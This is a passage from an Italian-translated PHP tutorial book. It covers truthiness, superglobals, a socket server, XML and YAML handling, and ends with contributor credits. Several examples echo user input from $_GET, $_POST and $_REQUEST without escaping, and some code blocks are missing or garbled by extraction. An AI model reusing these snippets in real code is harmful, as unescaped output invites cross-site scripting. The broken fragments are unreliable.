https://riptutorial.com/it/home 539
Verità di valore variabile e operatore identico
In PHP, i valori delle variabili hanno una "verità" associata, quindi anche i valori non booleani
saranno uguali a true o false . Ciò consente a qualsiasi variabile di essere utilizzata in un blocco
condizionale, ad es
$var = '';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
• Gli interi corrispondono a true se sono diversi da zero, mentre zero equivale a false .
$var = -1;
$var_is_true = ($var == true); // true
$var = 99;
$var_is_true = ($var == true); // true
$var = 0;
$var_is_true = ($var == true); // false
$var = null;
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
$var = '';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
$var = '0';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
• I valori in virgola mobile equivalgono a true se sono diversi da zero, mentre i valori zero
equivalgono a false .
○NAN (il numero non NAN PHP) equivale a true , ovvero NAN == true è true . Questo
https://riptutorial.com/it/home 540
perché NAN è un valore in virgola mobile diverso da zero .
○ I valori zero includono sia +0 che -0 come definito da IEEE 754. PHP non distingue tra
+0 e -0 nella virgola mobile a precisione doppia, ovvero floatval('0') == floatval('-
0') è true .
○ Infatti, floatval('0') === floatval('-0') .
○ Inoltre, sia floatval('0') == false che floatval('-0') == false .
$var = NAN;
$var_is_true = ($var == true); // true
$var_is_false = ($var == false); // false
$var = floatval('-0');
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
OPERATORE IDENTICO
Nella Documentazione di PHP per gli operatori di confronto , esiste un operatore identico === .
Questo operatore può essere utilizzato per verificare se una variabile è identica a un valore di
riferimento:
$var = null;
$var_is_null = $var === null; // true
$var_is_true = $var === true; // false
$var_is_false = $var === false; // false
$var = null;
$var_is_null = $var !== null; // false
$var_is_true = $var !== true; // true
$var_is_false = $var !== false; // true
L'operatore identico può essere utilizzato in alternativa alle funzioni del linguaggio come is_null()
.
La funzione di linguaggio strpos($haystack, $needle) viene utilizzata per individuare l'indice in cui
$needle verifica in $haystack o se si verifica del tutto. La funzione strpos() è case sensitive; se la
ricerca insensibile alle maiuscole e alle minuscole è ciò di cui hai bisogno puoi andare con gli
stripos($haystack, $needle)
La funzione strpos & stripos contiene anche il terzo parametro offset (int) che, se specificato,
ricerca avvia questo numero di caratteri contati dall'inizio della stringa. A differenza di strrpos e
strripos, l'offset non può essere negativo
https://riptutorial.com/it/home 541
• 0 se $needle viene trovato all'inizio di $haystack ;
• un numero intero diverso da zero che specifica l'indice se $needle viene trovato in un punto
diverso da quello in $haystack ;
• e valore false se $needle non viene trovato da nessuna parte in $haystack .
Poiché sia 0 che false hanno verità false in PHP ma rappresentano situazioni distinte per strpos()
, è importante distinguere tra loro e utilizzare l'operatore identico === per cercare esattamente
false e non solo un valore che equivale a false .
https://riptutorial.com/it/home 542
Capitolo 106: Variabili superglobali PHP
introduzione
I superglobals sono variabili integrate che sono sempre disponibili in tutti gli ambiti.
Diverse variabili predefinite in PHP sono "superglobali", il che significa che sono disponibili in tutti
gli ambiti di uno script. Non è necessario fare global $variable; per accedervi all'interno di funzioni
o metodi.
Examples
PHP5 SuperGlobals
• $ GLOBALS
• $ _REQUEST
• $ _GET
• $ _POST
• $ _FILES
• $ _SERVER
• $ _ENV
• $ _COOKIE
• $ _SESSION
$ GLOBALS : questa variabile SuperGlobal viene utilizzata per accedere alle variabili globali.
<?php
$a = 10;
function foo(){
echo $GLOBALS['a'];
}
//Which will print 10 Global Variable a
?>
$ _REQUEST : questa variabile SuperGlobal viene utilizzata per raccogliere i dati inviati da un
modulo HTML.
<?php
if(isset($_REQUEST['user'])){
echo $_REQUEST['user'];
}
//This will print value of HTML Field with name=user submitted using POST and/or GET MEthod
?>
$ _GET : questa variabile SuperGlobal viene utilizzata per raccogliere i dati inviati dal modulo
HTML con il metodo get .
https://riptutorial.com/it/home 543
<?php
if(isset($_GET['username'])){
echo $_GET['username'];
}
//This will print value of HTML field with name username submitted using GET Method
?>
$ _POST : questa variabile SuperGlobal viene utilizzata per raccogliere i dati inviati dal modulo
HTML con il metodo post .
<?php
if(isset($_POST['username'])){
echo $_POST['username'];
}
//This will print value of HTML field with name username submitted using POST Method
?>
$ _FILES : questa variabile SuperGlobal contiene le informazioni dei file caricati tramite il metodo
HTTP Post.
<?php
if($_FILES['picture']){
echo "<pre>";
print_r($_FILES['picture']);
echo "</pre>";
}
/**
This will print details of the File with name picture uploaded via a form with method='post
and with enctype='multipart/form-data'
Details includes Name of file, Type of File, temporary file location, error code(if any error
occured while uploading the file) and size of file in Bytes.
Eg.
Array
(
[picture] => Array
(
[0] => Array
(
[name] => 400.png
[type] => image/png
[tmp_name] => /tmp/php5Wx0aJ
[error] => 0
[size] => 15726
)
)
)
*/
?>
<?php
echo "<pre>";
https://riptutorial.com/it/home 544
print_r($_SERVER);
echo "</pre>";
/**
Will print the following details
on my local XAMPP
Array
(
[MIBDIRS] => C:/xampp/php/extras/mibs
[MYSQL_HOME] => \xampp\mysql\bin
[OPENSSL_CONF] => C:/xampp/apache/bin/openssl.cnf
[PHP_PEAR_SYSCONF_DIR] => \xampp\php
[PHPRC] => \xampp\php
[TMP] => \xampp\tmp
[HTTP_HOST] => localhost
[HTTP_CONNECTION] => keep-alive
[HTTP_CACHE_CONTROL] => max-age=0
[HTTP_UPGRADE_INSECURE_REQUESTS] => 1
[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/52.0.2743.82 Safari/537.36
[HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*;q=0.8
[HTTP_ACCEPT_ENCODING] => gzip, deflate, sdch
[HTTP_ACCEPT_LANGUAGE] => en-US,en;q=0.8
[PATH] => C:\xampp\php;C:\ProgramData\ComposerSetup\bin;
[SystemRoot] => C:\Windows
[COMSPEC] => C:\Windows\system32\cmd.exe
[PATHEXT] => .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
[WINDIR] => C:\Windows
[SERVER_SIGNATURE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12 Server at localhost
Port 80
[SERVER_SOFTWARE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12
[SERVER_NAME] => localhost
[SERVER_ADDR] => ::1
[SERVER_PORT] => 80
[REMOTE_ADDR] => ::1
[DOCUMENT_ROOT] => C:/xampp/htdocs
[REQUEST_SCHEME] => http
[CONTEXT_PREFIX] =>
[CONTEXT_DOCUMENT_ROOT] => C:/xampp/htdocs
[SERVER_ADMIN] => postmaster@localhost
[SCRIPT_FILENAME] => C:/xampp/htdocs/abcd.php
[REMOTE_PORT] => 63822
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => GET
[QUERY_STRING] =>
[REQUEST_URI] => /abcd.php
[SCRIPT_NAME] => /abcd.php
[PHP_SELF] => /abcd.php
[REQUEST_TIME_FLOAT] => 1469374173.88
[REQUEST_TIME] => 1469374173
)
*/
?>
$ _ENV : Questo ambiente variabile SuperGlobal Shell Variabile dettagli sotto il quale il PHP è in
esecuzione.
$ _COOKIE : questa variabile SuperGlobal viene utilizzata per recuperare il valore del cookie con
una determinata chiave.
https://riptutorial.com/it/home 545
<?php
$cookie_name = "data";
$cookie_value = "Foo Bar";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if(!isset($_COOKIE[$cookie_name])) {
echo "Cookie named '" . $cookie_name . "' is not set!";
}
else {
echo "Cookie '" . $cookie_name . "' is set!<br>";
echo "Value is: " . $_COOKIE[$cookie_name];
}
/**
Output
Cookie 'data' is set!
Value is: Foo Bar
*/
?>
$ _SESSION : questa variabile SuperGlobal viene utilizzata per impostare e recuperare il valore
della sessione che è memorizzato sul server.
<?php
//Start the session
session_start();
/**
Setting the Session Variables
that can be accessed on different
pages on save server.
*/
$_SESSION["username"] = "John Doe";
$_SESSION["user_token"] = "d5f1df5b4dfb8b8d5f";
echo "Session is saved successfully";
/**
Output
Session is saved successfully
*/
?>
Spiegati i sottotermici
introduzione
In parole povere, queste sono variabili disponibili in tutti gli ambiti negli script.
Ciò significa che non è necessario passarli come parametri nelle funzioni o memorizzarli al di fuori
di un blocco di codice per averli disponibili in ambiti diversi.
Cos'è un superglobale ??
Se stai pensando che questi sono come i supereroi, non lo sono.
https://riptutorial.com/it/home 546
A partire dalla versione 7.1.3 di PHP ci sono 9 variabili superglobali. Sono come segue:
Vedi la documentazione .
$GLOBALS
Codice
function test()
{
$myLocal = "local"; // declare variable inside of scope
// both variables are printed
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}
Produzione
Nell'esempio precedente $myLocal non viene visualizzato la seconda volta perché viene dichiarato
all'interno della funzione test() e quindi distrutto dopo la chiusura della funzione.
https://riptutorial.com/it/home 547
Diventare globali
function test()
{
global $myLocal;
$myLocal = "local";
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}
La parola chiave global è un prefisso su una variabile che lo costringe a far parte dell'ambito
globale.
Si noti che non è possibile assegnare un valore a una variabile nella stessa istruzione della parola
chiave globale. Quindi, perché dovevo assegnare un valore sotto. (È possibile se rimuovi nuove
linee e spazi ma non penso che sia pulito. global $myLocal; $myLocal = "local" ).
function test()
{
$GLOBALS["myLocal"] = "local";
$myLocal = $GLOBALS["myLocal"];
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}
$_SERVER
Un esempio di output di questo potrebbe essere il seguente (eseguito sul mio PC Windows
utilizzando WAMP)
C:\wamp64\www\test.php:2:
array (size=36)
'HTTP_HOST' => string 'localhost' (length=9)
'HTTP_CONNECTION' => string 'keep-alive' (length=10)
'HTTP_CACHE_CONTROL' => string 'max-age=0' (length=9)
'HTTP_UPGRADE_INSECURE_REQUESTS' => string '1' (length=1)
https://riptutorial.com/it/home 548
'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36' (length=110)
'HTTP_ACCEPT' => string
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' (length=74)
'HTTP_ACCEPT_ENCODING' => string 'gzip, deflate, sdch, br' (length=23)
'HTTP_ACCEPT_LANGUAGE' => string 'en-US,en;q=0.8,en-GB;q=0.6' (length=26)
'HTTP_COOKIE' => string 'PHPSESSID=0gslnvgsci371ete9hg7k9ivc6' (length=36)
'PATH' => string 'C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files
(x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS
Client\;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\
Files\ATI Technologies\ATI.ACE\Core-Static;E:\Program Files\AMD\ATI.ACE\Core-Static;C:\Program
Files (x86)\AMD\ATI.ACE\Core-Static;C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-
Static;C:\Program Files\Intel\Intel(R) Managemen'... (length=1169)
'SystemRoot' => string 'C:\WINDOWS' (length=10)
'COMSPEC' => string 'C:\WINDOWS\system32\cmd.exe' (length=27)
'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY'
(length=57)
'WINDIR' => string 'C:\WINDOWS' (length=10)
'SERVER_SIGNATURE' => string '<address>Apache/2.4.23 (Win64) PHP/7.0.10 Server at
localhost Port 80</address>' (length=80)
'SERVER_SOFTWARE' => string 'Apache/2.4.23 (Win64) PHP/7.0.10' (length=32)
'SERVER_NAME' => string 'localhost' (length=9)
'SERVER_ADDR' => string '::1' (length=3)
'SERVER_PORT' => string '80' (length=2)
'REMOTE_ADDR' => string '::1' (length=3)
'DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13)
'REQUEST_SCHEME' => string 'http' (length=4)
'CONTEXT_PREFIX' => string '' (length=0)
'CONTEXT_DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13)
'SERVER_ADMIN' => string '[email protected]' (length=29)
'SCRIPT_FILENAME' => string 'C:/wamp64/www/test.php' (length=26)
'REMOTE_PORT' => string '5359' (length=4)
'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7)
'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8)
'REQUEST_METHOD' => string 'GET' (length=3)
'QUERY_STRING' => string '' (length=0)
'REQUEST_URI' => string '/test.php' (length=13)
'SCRIPT_NAME' => string '/test.php' (length=13)
'PHP_SELF' => string '/test.php' (length=13)
'REQUEST_TIME_FLOAT' => float 1491068771.413
'REQUEST_TIME' => int 1491068771
C'è molto da prendere lì, quindi selezionerò alcuni importanti qui sotto. Se si desidera leggerli,
consultare la sezione degli indici della documentazione.
Potrei aggiungerli tutti sotto un giorno. O qualcuno può editare e aggiungere una buona spiegazione in basso?
Suggerimento, suggerimento ;)
https://riptutorial.com/it/home 549
- Il nome del file dello script attualmente eseguito, relativo alla root del documento.
Questo restituirebbe /index.php
• REQUEST_TIME_FLOAT - Il timestamp dell'inizio della richiesta, con precisione microseconda.
Disponibile da PHP 5.4.0.
• REQUEST_TIME - Il timestamp dell'inizio della richiesta. Disponibile da PHP 5.1.0.
$_GET
Una serie associativa di variabili passate allo script corrente tramite i parametri URL.
$_GET è un array che contiene tutti i parametri URL; questi sono ciò che è dopo il? nell'URL.
// URL = http://www.example.com/index.php?myVar=myVal
echo $_GET["myVar"] == "myVal" ? "true" : "false"; // returns "true"
Questo mostra come puoi accedere al valore dall'URL usando $_GET superglobal.
// URL = http://www.example.com/index.php?myVar=myVal&myVar2=myVal2
echo $_GET["myVar"]; // returns "myVal"
echo $_GET["myVar2"]; // returns "myVal2"
È possibile inviare più variabili tramite l'URL separandole con un carattere di & commerciale ( & ).
$_POST
Un array associativo di variabili passate allo script corrente tramite il metodo POST
HTTP quando si utilizza application / x-www-form-urlencoded o multipart / form-data
come HTTP Content-Type nella richiesta.
Inizierò andando direttamente a un esempio. (Ho omesso l'attributo action in quanto ciò invierà le
informazioni alla pagina in cui si trova il modulo).
<form method="POST">
<input type="text" name="myVar" value="myVal" />
https://riptutorial.com/it/home 550
<input type="submit" name="submit" value="Submit" />
</form>
Sopra è un modulo di base per cui i dati possono essere inviati. In un ambiente reale l'attributo
value non verrebbe impostato, il che significa che il modulo sarebbe vuoto. Ciò quindi invierebbe
qualsiasi informazione inserita dall'utente.
$_FILES
Un array associativo di elementi caricati nello script corrente tramite il metodo HTTP
POST. La struttura di questo array è descritta nella sezione caricamento dei metodi
POST .
Questo è usato per caricare un file. A volte potresti voler caricare più di un file. Un attributo esiste
per questo, si chiama multiple .
C'è un attributo per qualsiasi cosa . Mi dispiace
https://riptutorial.com/it/home 551
</form>
• Il nome di input ha parentesi quadre. Questo perché ora è una matrice di file e quindi stiamo
dicendo al form di creare una matrice di file selezionati. Se si omettono le parentesi quadre,
il secondo file verrà impostato su $_FILES["myVar"] .
• L'attributo multiple="multiple" . Questo dice solo al browser che gli utenti possono
selezionare più di un file.
default:
echo "An unknown error has occured.";
https://riptutorial.com/it/home 552
break;
}
}
Questo è un esempio molto semplice e non gestisce problemi come estensioni di file non
consentite o file con codice PHP (come un equivalente PHP di un'iniezione SQL). Vedi la
documentazione .
Il primo processo sta controllando se ci sono dei file, e in tal caso, impostane il numero totale in
$total .
L'utilizzo del ciclo for consente un'iterazione dell'array $_FILES e l'accesso a ciascun elemento uno
alla volta. Se quel file non incontra un problema, allora l'istruzione if è vera e viene eseguito il
codice dal caricamento del singolo file.
Se si verifica un problema, il blocco di commutazione viene eseguito e viene presentato un errore
in base all'errore per quel particolare caricamento.
$_COOKIE
Una serie associativa di variabili passate allo script corrente tramite i cookie HTTP.
I cookie sono variabili che contengono dati e sono memorizzati sul computer del cliente.
A differenza dei superglobali summenzionati, i cookie devono essere creati con una funzione (e
non assegnare un valore). La convenzione è sotto
In questo esempio viene specificato un nome per il cookie (in questo esempio è "myVar"), viene
fornito un valore (in questo esempio è "myVal", ma è possibile passare una variabile per
assegnarne il valore al cookie), e quindi viene data una scadenza (in questo esempio è un'ora dal
momento in cui 3600 secondi è un minuto).
Nonostante la convenzione per la creazione di un cookie diverso, è accessibile allo stesso modo
degli altri.
Per distruggere un cookie, setcookie deve essere chiamato di nuovo, ma il tempo di scadenza è
impostato su qualsiasi momento nel passato. Vedi sotto.
$_SESSION
https://riptutorial.com/it/home 553
corrente. Vedere la documentazione delle funzioni di sessione per ulteriori informazioni
su come questo viene utilizzato.
Le sessioni sono molto simili ai cookie, tranne che sono lato server.
Per utilizzare le sessioni è necessario includere session_start() nella parte superiore degli script
per consentire l'utilizzo delle sessioni.
$_SESSION["myVar"] = "myVal";
Quando si avvia una sessione, un ID casuale viene impostato come cookie e chiamato
"PHPSESSID" e conterrà l'ID di sessione per quella sessione corrente. È possibile accedere a
questo chiamando la funzione session_id() .
$_REQUEST
Come afferma la documentazione di PHP, questo è solo un confronto di $_GET , $_POST e $_COOKIE
tutto in una variabile.
Poiché è possibile che tutti e tre gli array abbiano un indice con lo stesso nome, esiste
un'impostazione nel file php.ini chiamato request_order che può specificare quale dei tre ha la
precedenza.
Ad esempio, se è stato impostato su "GPC" , verrà utilizzato il valore di $_COOKIE , poiché viene letto
da sinistra a destra, il che significa che $_REQUEST imposterà il suo valore su $_GET , quindi $_POST e
quindi $_COOKIE e dato che $_COOKIE è l'ultimo che è il valore che è in $_REQUEST .
Vedi questa domanda
$_ENV
Queste variabili vengono importate nello spazio dei nomi globale di PHP dall'ambiente
in cui è in esecuzione il parser PHP. Molti sono forniti dalla shell in cui PHP è in
esecuzione e diversi sistemi sono probabilmente in esecuzione con diversi tipi di shell,
un elenco definitivo è impossibile. Si prega di consultare la documentazione della shell
per un elenco di variabili d'ambiente definite.
https://riptutorial.com/it/home 554
Altre variabili di ambiente includono le variabili CGI, posizionate lì indipendentemente
dal fatto che PHP sia in esecuzione come modulo server o processore CGI.
Tutto ciò che è contenuto in $_ENV proviene dall'ambiente in cui è in esecuzione PHP.
https://riptutorial.com/it/home 555
Capitolo 107: WebSockets
introduzione
L'utilizzo dell'estensione socket implementa un'interfaccia di basso livello alle funzioni di
comunicazione socket basate sui popolari socket BSD, offrendo la possibilità di agire come un
server socket e come client.
Examples
Semplice server TCP / IP
Crea uno script websocket che ascolta Port 5000 Usa putty, terminale per eseguire telnet
127.0.0.1 5000 (localhost). Questo script risponde con il messaggio che hai inviato (come un ping-
back)
<?php
set_time_limit(0); // disable timeout
ob_implicit_flush(); // disable output caching
// Settings
$address = '127.0.0.1';
$port = 5000;
/*
function socket_create ( int $domain , int $type , int $protocol )
$domain can be AF_INET, AF_INET6 for IPV6 , AF_UNIX for Local communication protocol
$protocol can be SOL_TCP, SOL_UDP (TCP/UDP)
@returns true on success
*/
/*
socket_bind ( resource $socket , string $address [, int $port = 0 ] )
Bind socket to listen to address and port
*/
https://riptutorial.com/it/home 556
do {
if (($msgsock = socket_accept($socket)) === false) {
echo "Error: socket_accept: " . socket_strerror(socket_last_error($socket)) . "\n";
break;
}
} while (true);
socket_close($msgsock);
} while (true);
socket_close($socket);
?>
https://riptutorial.com/it/home 557
Capitolo 108: XML
Examples
Creare un file XML usando XMLWriter
$xml->openUri('file:///var/www/example.com/xml/output.xml');
$xml->startDocument('1.0', 'utf-8');
Questo produrrà:
$xml->writeElement('foo', 'bar');
<foo>bar</foo>
Se hai bisogno di qualcosa di un po 'più complesso dei semplici nodi con valori semplici, puoi
anche "avviare" un elemento e aggiungere attributi ad esso prima di chiuderlo:
$xml->startElement('foo');
$xml->writeAttribute('bar', 'baz');
$xml->writeCdata('Lorem ipsum');
$xml->endElement();
Questo produrrà:
https://riptutorial.com/it/home 558
Analogamente al SimpleXML, è possibile utilizzare DOMDocument per analizzare XML da una
stringa o da un file XML
1. Da una stringa
2. Da un file
Esempio di analisi
$books = $doc->getElementsByTagName('book');
foreach ($books as $book) {
$title = $book->getElementsByTagName('name')->item(0)->nodeValue;
$price = $book->getElementsByTagName('price')->item(0)->nodeValue;
$id = $book->getElementsByTagName('id')->item(0)->nodeValue;
print_r ("The title of the book $id is $title and it costs $price." . "\n");
}
Questo produrrà:
Per creare un XML usando DOMDocument, in pratica, dobbiamo creare tutti i tag e gli attributi
usando i createElement() e createAttribute() e loro creano la struttura XML con appendChild() .
L'esempio seguente include tag, attributi, una sezione CDATA e uno spazio dei nomi diverso per il
https://riptutorial.com/it/home 559
secondo tag:
//create a CDATA section (that is another DOMNode instance) and put it inside the name tag
$name_cdata = $dom->createCDATASection('PHP - Advanced');
$name_2->appendChild($name_cdata);
$price_2 = $dom->createElementNS($namespace, 'ns:price', '$25.00');
$id_2 = $dom->createElementNS($namespace, 'ns:id', '2');
$dom->appendChild($books);
https://riptutorial.com/it/home 560
<ns:book>
<ns:name><![CDATA[PHP - Advanced]]></ns:name>
<ns:price>$25.00</ns:price>
<ns:id>2</ns:id>
</ns:book>
</books>
1. Da una stringa
$xml_obj = simplexml_load_string($string);
2. Da un file
$xml_obj = simplexml_load_file('books.xml');
Esempio di analisi
$xml = simplexml_load_string($xml_string);
$books = $xml->book;
foreach ($books as $book) {
$id = $book->id;
$title = $book->name;
$price = $book->price;
print_r ("The title of the book $id is $title and it costs $price." . "\n");
}
Questo produrrà:
https://riptutorial.com/it/home 561
Utilizzo di XML con la libreria SimpleXML di PHP
SimpleXML è una potente libreria che converte stringhe XML in un oggetto PHP facile da usare.
Per iniziare, dobbiamo leggere i nostri dati in SimpleXML. Possiamo farlo in 3 modi diversi. In
primo luogo, possiamo caricare i nostri dati da un nodo DOM.
$xmlElement = simplexml_import_dom($domNode);
$xmlElement = simplexml_load_file($filename);
Che tu abbia scelto di caricare da un elemento DOM , da un file o da una stringa , ora ti rimane
una variabile SimpleXMLElement chiamata $xmlElement . Ora possiamo iniziare a utilizzare il
nostro XML in PHP.
https://riptutorial.com/it/home 562
Il modo più semplice per accedere ai dati nel nostro oggetto SimpleXMLElement è chiamare
direttamente le proprietà . Se vogliamo accedere al nostro primo bookName, StackOverflow
SimpleXML Example , possiamo accedervi come di seguito.
echo $xmlElement->book->bookName;
A questo punto, SimpleXML assumerà che, poiché non abbiamo detto esplicitamente quale libro
vogliamo, vogliamo il primo. Tuttavia, se decidiamo che non vogliamo il primo, piuttosto che
vogliamo un Another SimpleXML Example , possiamo accedervi come di seguito.
echo $xmlElement->book[1]->bookName;
Vale la pena notare che l'utilizzo di [0] funziona come non usarlo, quindi
$xmlElement->book
$xmlElement->book[0]
Esistono molte ragioni per cui desideri eseguire il ciclo di codice XML , ad esempio che hai un
numero di elementi, libri nel nostro caso, che vorremmo visualizzare su una pagina web. Per
questo, possiamo usare un ciclo foreach o un ciclo for standard, sfruttando la funzione di
conteggio di SimpleXMLElement. .
$count = $xmlElement->count();
for ( $i=0; $i<$count; $i++ ) {
echo $xmlElement->book[$i]->bookName;
}
Ora siamo arrivati così lontano, è importante rendersi conto che siamo solo umani, e
probabilmente incontreremo un errore alla fine - specialmente se stiamo giocando con file XML
diversi tutto il tempo. E così, vorremmo gestire quegli errori.
Considera che abbiamo creato un file XML. Noterai che mentre questo XML è molto simile a
quello che avevamo prima, il problema con questo file XML è che il tag finale finale è / doc invece
che / document.
https://riptutorial.com/it/home 563
<?xml version="1.0" encoding="UTF-8"?>
<document>
<book>
<bookName>StackOverflow SimpleXML Example</bookName>
<bookAuthor>PHP Programmer</bookAuthor>
</book>
<book>
<bookName>Another SimpleXML Example</bookName>
<bookAuthor>Stack Overflow Community</bookAuthor>
<bookAuthor>PHP Programmer</bookAuthor>
<bookAuthor>FooBar</bookAuthor>
</book>
</doc>
libxml_use_internal_errors(true);
$xmlElement = simplexml_load_file($file);
if ( $xmlElement === false ) {
$errors = libxml_get_errors();
foreach ( $errors as $thisError ) {
switch ( $thisError->level ) {
case LIBXML_ERR_FATAL:
echo "FATAL ERROR: ";
break;
case LIBXML_ERR_ERROR:
echo "Non Fatal Error: ";
break;
case LIBXML_ERR_WARNING:
echo "Warning: ";
break;
}
echo $thisError->code . PHP_EOL .
'Message: ' . $thisError->message . PHP_EOL .
'Line: ' . $thisError->line . PHP_EOL .
'Column: ' . $thisError->column . PHP_EOL .
'File: ' . $thisError->file;
}
libxml_clear_errors();
} else {
echo 'Happy Days';
}
FATAL ERROR: 76
Message: Opening and ending tag mismatch: document line 2 and doc
Line: 13
Column: 10
File: filepath/filename.xml
Tuttavia, non appena risolviamo questo problema, ci viene presentato "Happy Days".
https://riptutorial.com/it/home 564
Capitolo 109: YAML in PHP
Examples
Installazione dell'estensione YAML
YAML non viene fornito con un'installazione standard di PHP, ma deve essere installato come
estensione PECL. Su linux / unix può essere installato con un semplice
Si noti che il pacchetto libyaml-dev deve essere installato sul sistema, in quanto il pacchetto PECL
è semplicemente un wrapper per le chiamate libYAML.
L'installazione su macchine Windows è diversa: puoi scaricare una DLL precompilata o compilare
da fonti.
YAML fornisce un modo per archiviare i dati strutturati. I dati possono essere un semplice insieme
di coppie nome-valore o un dato gerarchico complesso con valori anche di array.
database:
driver: mysql
host: database.mydomain.com
port: 3306
db_name: sample_db
user: myuser
password: Passw0rd
debug: true
country: us
Diciamo che è salvato come config.yaml . Quindi per leggere questo file in PHP è possibile
utilizzare il seguente codice:
$config = yaml_parse_file('config.yaml');
print_r($config);
Array
(
[database] => Array
(
[driver] => mysql
[host] => database.mydomain.com
[port] => 3306
https://riptutorial.com/it/home 565
[db_name] => sample_db
[user] => myuser
[password] => Passw0rd
)
[debug] => 1
[country] => us
)
Ora i parametri di configurazione possono essere usati semplicemente usando gli elementi
dell'array:
$dbConfig = $config['database'];
$connectString = $dbConfig['driver']
. ":host={$dbConfig['host']}"
. ":port={$dbConfig['port']}"
. ":dbname={$dbConfig['db_name']}"
. ":user={$dbConfig['user']}"
. ":password={$dbConfig['password']}";
$dbConnection = new \PDO($connectString, $dbConfig['user'], $dbConfig['password']);
https://riptutorial.com/it/home 566
Titoli di coda
S.
Capitoli Contributors
No
4 APCu Joe
Apprendimento
5 georoot, Gerard Roche, tyteen4a03
automatico
https://riptutorial.com/it/home 567
Ultimater, unarist, Vic, vijaykumar, Yury Fedorov
Autenticazione
8 Noah van der Aa, SOFe
HTTP
BC Math (Binary
9 Sebastian Brosch, SOFe, tyteen4a03
Calculator)
Caricamento
12 automatico del bishop, br3nt, Jens A. Koch
primer
Come abbattere un
15 Patrick Simard
URL
Come rilevare
16 l'indirizzo IP del Erki A, mnoronha, RamenChef
client
https://riptutorial.com/it/home 568
Compilare le
19 4444, Sherif, tyteen4a03
estensioni PHP
Compilazione di
20 EatPeanutButter, Thamilan, u_mulder
errori e avvertenze
Contribuire al core
21 miken32, tpunt, undefined
PHP
Contribuire al
22 Gordon, salathe, Thomas Gerot, tpunt
manuale PHP
Convenzioni di
23 Abhi Beckert, Ernestas Stankevičius, Quill, signal
codifica
Digitare giocoleria e
31 problemi di confronto GordonM, miken32, tyteen4a03
non rigoroso
Elaborazione di
33 Ormoz, RamenChef, Rick James, SOFe, tyteen4a03
immagini con GD
https://riptutorial.com/it/home 569
4444, 7ochem, Adil Abbasi, Anil, Billy G, br3nt, bwegs, bwoebi,
cale_b, Charlie H, Community, cpalinckx, David, Dmytrechko,
Don't Panic, Ed Cottrell, H. Pauwelyn, Henrique Barcelos,
Hirdesh Vishwdewa, jmattheis, John Slegers, K48, kisanme,
Emissione del valore Magisch, Marc, Mark H., Marten Koetsier, miken32,
35
di una variabile Mohammad Sadegh, Nate, Nathan Arthur, Neil Strickland,
NetVicious, Panda, Praveen Kumar, Rafael Dantas, rap-2-h,
ryanm, Serg Chernata, SOFe, StasM, Svish, SZenC, Thaillie,
Thomas Gerot, Timothy, Timur, tpunt, tyteen4a03, Ultimater,
uzaif, Ven, William Perron, Your Common Sense
Esecuzione su una Alok Patel, Andreas, Antony D'Andrea, Arun3x3, caoglish, Matt
37
matrice S, Maxime, mnoronha, Ruslan Bes, RyanNerd, SOFe
Filtri e funzioni di Abhishek Gurjar, Exagone313, Ivijan Stefan Stipić, John Conde
39
filtro , matiaslauriti, RamenChef, Robbie Averill, samayo, tyteen4a03
Formattazione delle
40 Benjam, SOFe
stringhe
Gestione delle
eccezioni e baldrs, F. Müller, Félix Gagnon-Grenier, mnoronha, Robbie
45
segnalazione degli Averill
errori
https://riptutorial.com/it/home 570
48 IMAP Kuhan, Tom, walid
Implementazione di
49 georoot
Docker
Installazione di un
Ani Menon, bwoebi, Jhollman, RamenChef, RiggsFolly,
51 ambiente PHP su
Saurabh, Woliul
Windows
Installazione su
52 A.L, Adam, miken32, Pablo Martinez, rfsbsb, tyteen4a03
ambienti Linux / Unix
le righe interessate
da php mysqli
restituiscono 0
56 John
quando dovrebbe
restituire un intero
positivo
